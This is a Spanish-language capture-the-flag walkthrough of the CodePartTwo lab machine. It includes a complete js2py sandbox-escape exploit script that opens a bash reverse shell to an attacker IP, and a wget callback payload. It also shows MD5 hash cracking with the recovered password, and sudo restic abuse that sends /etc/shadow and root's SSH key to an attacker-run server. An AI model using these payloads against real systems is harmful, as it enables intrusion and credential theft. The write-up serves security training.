Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-19 10:04 EDT
Nmap scan report for 10.10.11.82
Host is up (0.032s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 a0:47:b4:0c:69:67:93:3a:f9:b4:5d:b3:2f:bc:9e:23 (RSA)
| 256 7d:44:3f:f1:b1:e2:bb:3d:91:d5:da:58:0f:51:e5:ad (ECDSA)
|_ 256 f1:6b:1d:36:18:06:7a:05:3f:07:57:e1:ef:86:b4:85 (ED25519)
8000/tcp open http Gunicorn 20.0.4
|_http-title: Welcome to CodePartTwo
|_http-server-header: gunicorn/20.0.4
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.98 seconds
Veremos varios puertos interesantes, entre ellos el puerto 8000 que contiene una pagina web por lo que podemos ver, por lo que vamos a entrar dentro del mismo.
Dentro veremos una pagina web normal y corriente, no veremos nada interesante, pero si le damos a Download App veremos que nos descarga un zip llamado app.zip, si lo descomprimimos veremos la siguiente arquitectura de carpetas:
Veremos que la pagina es un servidor de python3 con Flask u otro tipo de libreria, por lo que vemos tambien es un dump de la propia pagina, vamos a investigar mas a fondo a ver que encontramos ya que podremos ver el codigo fuente de la pagina y con ello ver alguna vulnerabilidad.
app.py
Vemos que hay una vulnerabilidad en la version de una libreria llamada js2py en el requirements.txt:
Si empezamos a buscar informacion de dicha vulnerabilidad, veremos el siguiente CVE:
Por lo que vemos se puede realizar un RCE mediante codigo de JS, por lo que vamos a registrarnos en la pagina ya que podemos, y despues una vez autenticados veremos lo siguiente:
Vemos que podemos ejecutar codigo de JS y todo lo que ejecutemos se muestra en un output mas abajo, tambien podemos guardar el codigo, por lo que vamos aprovechar dicha vulnerabilidad para pegar el siguiente codigo:
Con esto en la pagina vamos a probar que realmente se estan ejecutando comandos, por lo que vamos abrir un servidor de python3:
Y ahora si le damos a Run Command veremos esto en la pagina:
Pero si volvemos a donde tenemos el servidor de python3:
Veremos que ha funcionado realmente por detras, por lo que vamos a crear un exploit para ejecutarlo y que nos proporcione una reverse shell de esta forma:
exploit.py
Vamos a ponernos a la escucha antes de ejecutarlo:
Ahora vamos a ejecutarlo de esta forma:
Info:
Si volvemos a donde tenemos la escucha:
Veremos que ha funcionado, por lo que vamos a sanitizar la shell.
Sanitización de shell (TTY)
Escalate user marco
Si recordamos anteriormente en el codigo de app.py vimos esta linea:
Por lo que vamos a realizar una busqueda de users.db a ver que vemos:
Info:
Vamos a intentar leerlo con sqlite3 de esta forma:
Dentro de la herramienta con dicho archivo listamos las tablas que pueda tener:
Info:
Vamos a ver la informacion de user que es la mas interesante:
Info:
Veremos cosas interesantes entre ellas el usuario marco con su contraseña hasheada, como vemos que existe a nivel de sistema, vamos a probar a crackear dicha contraseña de marco.
hash
Ahora con john haremos lo siguiente:
Info:
Veremos que ha funcionado, por lo que vamos a probar dichas credenciales por SSH a ver si funcionaran:
SSH
Metemos como contraseña sweetangelbabylove...
Con esto veremos que estamos dentro, por lo que leeremos la flag del usuario.
user.txt
Escalate Privileges
Si vemos con el id de que grupo somos, veremos lo siguiente:
Veremos que pertenecemos al grupo llamado backups, si listamos el /opt veremos esta carpeta que pertenece a dicho grupo:
No veremos nada interesante, si hacemos sudo -l veremos lo siguiente:
Vemos que podemos ejecutar el binario npbackup-cli como el usuario root, por lo que vamos a investigar que hacer dicho binario.
Vemos que hay un archivo de configuracion bastante interesante en esta ruta:
Si nosotros cargamos dicho archivo de configuracion con el binario con el que podemos ejecutar como sudo para probar a ejecutar comandos, veremos lo siguiente:
Info:
Vemos que por detras esta utilizando el binario restic, y como se esta ejecutando como sudo, si buscamos en GTFOBins veremos lo siguiente:
Vemos que se puede ejecutar como sudo sin que pierda los privilegios del mismo, por lo que podremos realizar un backup de cualquier archivo gracias a restic y que se esta ejecutando como root, pero para ello tendremos que establecer un repo como servidor donde queremos mandarnos dicho backup, esto es parecido a la maquina artificial de HTB.
Vamos a inicializar un repositorio y un servidor de restic en nuestra maquina atacante de esta forma:
Info:
Con esto ya vamos a tener nuestro servidor a la escucha, ahora vamos a inicializar un repo en dicho servidor de dicha ruta establecida:
Metemos como contraseña lo que queramos, en mi caso puse diseo y con esto se nos creara nuestro repo llamado Pwn3d, ahora desde la maquina victima nos vamos a pasar el archivo /etc/shadow.
Primero como el repo va con contraseña, vamos a crear un archivo con la contraseña en texto plano para posteriormente pasarsela a la herramienta:
Ahora habiendo creado este archivo, vamos a utilizarlo como contraseña para realizar la conexion a nuestro servidor del atacante y que nos realice un backup del archivo shadow de esta forma:
Info:
Ahora vamos a comprobar las snapshots a ver si nos llego bien, en la maquina atacante haremos lo siguiente:
Metemos la contraseña establecida del repo....
Info:
Con esto vemos que ha funcionado, por lo que vamos a exportarlo para verlo en texto plano y ver que realmente es el archivo de la maquina victima.
Info:
Ahora vamos a leerlo de esta forma:
Info:
Vemos que efectivamente ha funcionado, por lo que vamos a probar a obtener la clave PEM del usuario root a ver si existiera, haciendo el mismo proceso anterior.
Info:
Veremos que aparentemente si ha funcionado, por lo que vamos a ver las snapshots y exportarlo para ver dicho archivo.
Info:
Veremos que nos llego bien, ahora vamos a exportarlo:
Info:
Ahora vamos a leer dicho archivo a ver si todo fue bien:
Info:
Veremos que ha funcionado, vamos a utilizar dicha clave para conectarnos con el usuario root, por SSH de esta forma:
SSH
Info:
Veremos que ya seremos el usuario root, por lo que leeremos la flag de root.
from flask import Flask, render_template, request, redirect, url_for, session, jsonify, send_from_directory
from flask_sqlalchemy import SQLAlchemy
import hashlib
import js2py
import os
import json
js2py.disable_pyimport()
app = Flask(__name__)
app.secret_key = 'S3cr3tK3yC0d3PartTw0'
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///users.db'
app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False
db = SQLAlchemy(app)
class User(db.Model):
id = db.Column(db.Integer, primary_key=True)
username = db.Column(db.String(80), unique=True, nullable=False)
password_hash = db.Column(db.String(128), nullable=False)
class CodeSnippet(db.Model):
id = db.Column(db.Integer, primary_key=True)
user_id = db.Column(db.Integer, db.ForeignKey('user.id'), nullable=False)
code = db.Column(db.Text, nullable=False)
@app.route('/')
def index():
return render_template('index.html')
@app.route('/dashboard')
def dashboard():
if 'user_id' in session:
user_codes = CodeSnippet.query.filter_by(user_id=session['user_id']).all()
return render_template('dashboard.html', codes=user_codes)
return redirect(url_for('login'))
@app.route('/register', methods=['GET', 'POST'])
def register():
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
password_hash = hashlib.md5(password.encode()).hexdigest()
new_user = User(username=username, password_hash=password_hash)
db.session.add(new_user)
db.session.commit()
return redirect(url_for('login'))
return render_template('register.html')
@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
password_hash = hashlib.md5(password.encode()).hexdigest()
user = User.query.filter_by(username=username, password_hash=password_hash).first()
if user:
session['user_id'] = user.id
session['username'] = username;
return redirect(url_for('dashboard'))
return "Invalid credentials"
return render_template('login.html')
@app.route('/logout')
def logout():
session.pop('user_id', None)
return redirect(url_for('index'))
@app.route('/save_code', methods=['POST'])
def save_code():
if 'user_id' in session:
code = request.json.get('code')
new_code = CodeSnippet(user_id=session['user_id'], code=code)
db.session.add(new_code)
db.session.commit()
return jsonify({"message": "Code saved successfully"})
return jsonify({"error": "User not logged in"}), 401
@app.route('/download')
def download():
return send_from_directory(directory='/home/app/app/static/', path='app.zip', as_attachment=True)
@app.route('/delete_code/<int:code_id>', methods=['POST'])
def delete_code(code_id):
if 'user_id' in session:
code = CodeSnippet.query.get(code_id)
if code and code.user_id == session['user_id']:
db.session.delete(code)
db.session.commit()
return jsonify({"message": "Code deleted successfully"})
return jsonify({"error": "Code not found"}), 404
return jsonify({"error": "User not logged in"}), 401
@app.route('/run_code', methods=['POST'])
def run_code():
try:
code = request.json.get('code')
result = js2py.eval_js(code)
return jsonify({'result': result})
except Exception as e:
return jsonify({'error': str(e)})
if __name__ == '__main__':
with app.app_context():
db.create_all()
app.run(host='0.0.0.0', debug=True)
flask==3.0.3
flask-sqlalchemy==3.1.1
js2py==0.74
var cmd = "bash -c \"wget http://<IP>/\"";
var a = Object.getOwnPropertyNames({}).__class__.__base__.__getattribute__;
var obj = a(a(a, "__class__"), "__base__");
function findpopen(o) {
for (var i in o.__subclasses__()) {
var item = o.__subclasses__()[i];
if (item.__module__ == "subprocess" && item.__name__ == "Popen") {
return item;
}
if (item.__name__ != "type") {
var result = findpopen(item);
if (result) {
return result;
}
}
}
return null;
}
var popen_class = findpopen(obj);
if (popen_class) {
var result = popen_class(cmd, -1, null, -1, -1, -1, null, null, true).communicate();
result;
} else {
"No se encontró Popen";
}
python3 -m http.server 80
Error: 'NoneType' object is not callable
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.82 - - [19/Sep/2025 11:09:57] "GET / HTTP/1.1" 200 -
import requests
import json
# CONFIGURACIÓN - MODIFICA ESTOS VALORES
TARGET_URL = 'http://<IP>:8000' # URL del servidor vulnerable
ATTACKER_IP = '<IP_ATTACKER>' # Tu IP de atacante
ATTACKER_PORT = '<PORT>' # Puerto para la reverse shell
# Comando para reverse shell (bash)
reverse_shell_cmd = f'bash -i >& /dev/tcp/{ATTACKER_IP}/{ATTACKER_PORT} 0>&1'
# Codificar en base64 para evitar problemas de comillas
import base64
encoded_cmd = base64.b64encode(reverse_shell_cmd.encode()).decode()
final_cmd = f'echo {encoded_cmd} | base64 -d | bash'
# Código JavaScript que se ejecutará en el servidor
js_code = f"""
var cmd = "{final_cmd}";
var a = Object.getOwnPropertyNames({{}}).__class__.__base__.__getattribute__;
var obj = a(a(a, "__class__"), "__base__");
function findpopen(o) {{
for (var i in o.__subclasses__()) {{
var item = o.__subclasses__()[i];
if (item.__module__ == "subprocess" && item.__name__ == "Popen") {{
return item;
}}
if (item.__name__ != "type") {{
var result = findpopen(item);
if (result) {{
return result;
}}
}}
}}
return null;
}}
var popen_class = findpopen(obj);
if (popen_class) {{
var result = popen_class(cmd, -1, null, -1, -1, -1, null, null, true).communicate();
result;
}} else {{
"No se encontró Popen";
}}
"""
# Preparar y enviar la solicitud
url = f'{TARGET_URL}/run_code'
payload = {"code": js_code}
headers = {"Content-Type": "application/json"}
print(f"[+] Enviando payload a {TARGET_URL}")
print(f"[+] Reverse shell hacia {ATTACKER_IP}:{ATTACKER_PORT}")
print(f"[+] Comando: {reverse_shell_cmd}")
try:
r = requests.post(url, data=json.dumps(payload), headers=headers, timeout=10)
print(f"[+] Respuesta del servidor: {r.status_code}")
print(f"[+] Contenido: {r.text}")
except requests.exceptions.RequestException as e:
print(f"[-] Error de conexión: {e}")
except Exception as e:
print(f"[-] Error inesperado: {e}")
nc -lvnp <PORT>
python3 exploit.py
[+] Enviando payload a http://10.10.11.82:8000
[+] Reverse shell hacia 10.10.14.85:7755
[+] Comando: bash -i >& /dev/tcp/10.10.14.85/7755 0>&1
[-] Error de conexión: HTTPConnectionPool(host='10.10.11.82', port=8000): Read timed out. (read timeout=10)
listening on [any] 7755 ...
connect to [10.10.14.85] from (UNKNOWN) [10.10.11.82] 39374
bash: cannot set terminal process group (876): Inappropriate ioctl for device
bash: no job control in this shell
app@codeparttwo:~/app$ whoami
whoami
app
script /dev/null -c bash
# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash
# Para ver las dimensiones de nuestra consola en el Host
stty size
# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 128/128 AVX 4x3])
Warning: no OpenMP support for this hash type, consider --fork=8
Press 'q' or Ctrl-C to abort, almost any other key for status
sweetangelbabylove (marco)
1g 0:00:00:00 DONE (2025-09-19 11:35) 7.142g/s 24633Kp/s 24633Kc/s 24633KC/s sweetart098..sweetali786
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.
ssh marco@<IP>
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-216-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Fri 19 Sep 2025 03:35:41 PM UTC
System load: 0.02
Usage of /: 58.8% of 5.08GB
Memory usage: 35%
Swap usage: 0%
Processes: 241
Users logged in: 1
IPv4 address for eth0: 10.10.11.82
IPv6 address for eth0: dead:beef::250:56ff:fe94:768a
Expanded Security Maintenance for Infrastructure is not enabled.
0 updates can be applied immediately.
Enable ESM Infra to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Fri Sep 19 15:35:41 2025 from 10.10.14.85
marco@codeparttwo:~$ whoami
marco
Matching Defaults entries for marco on codeparttwo:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User marco may run the following commands on codeparttwo:
(ALL : ALL) NOPASSWD: /usr/local/bin/npbackup-cli
-rw-rw-r-- 1 root root 2893 Jun 18 11:16 /home/marco/npbackup.conf
Data directory: /opt/restic-repos
Authentication disabled
Append only mode disabled
Private repositories disabled
Group accessible repos disabled
start server on [::]:6666
repository adeef797 opened (repository version 2) successfully, password is correct
ID Time Host Tags Paths
-------------------------------------------------------------------
8ba0bb36 2025-09-19 12:29:02 codeparttwo /etc/shadow
-------------------------------------------------------------------
1 snapshots
repository adeef797 opened (repository version 2) successfully, password is correct
restoring <Snapshot 8ba0bb36 of [/etc/shadow] at 2025-09-19 16:29:02.381437431 +0000 UTC by root@codeparttwo> to /tmp
repository adeef797 opened (repository version 2) successfully, password is correct
restoring <Snapshot f17a625d of [/root/.ssh/id_rsa] at 2025-09-19 16:39:25.522790289 +0000 UTC by root@codeparttwo> to /tmp
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-216-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Fri 19 Sep 2025 04:44:21 PM UTC
System load: 0.0
Usage of /: 57.6% of 5.08GB
Memory usage: 23%
Swap usage: 0%
Processes: 228
Users logged in: 1
IPv4 address for eth0: 10.10.11.82
IPv6 address for eth0: dead:beef::250:56ff:fe94:2fdc
Expanded Security Maintenance for Infrastructure is not enabled.
0 updates can be applied immediately.
Enable ESM Infra to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Fri Sep 19 16:44:21 2025 from 10.10.14.85
root@codeparttwo:~# whoami
root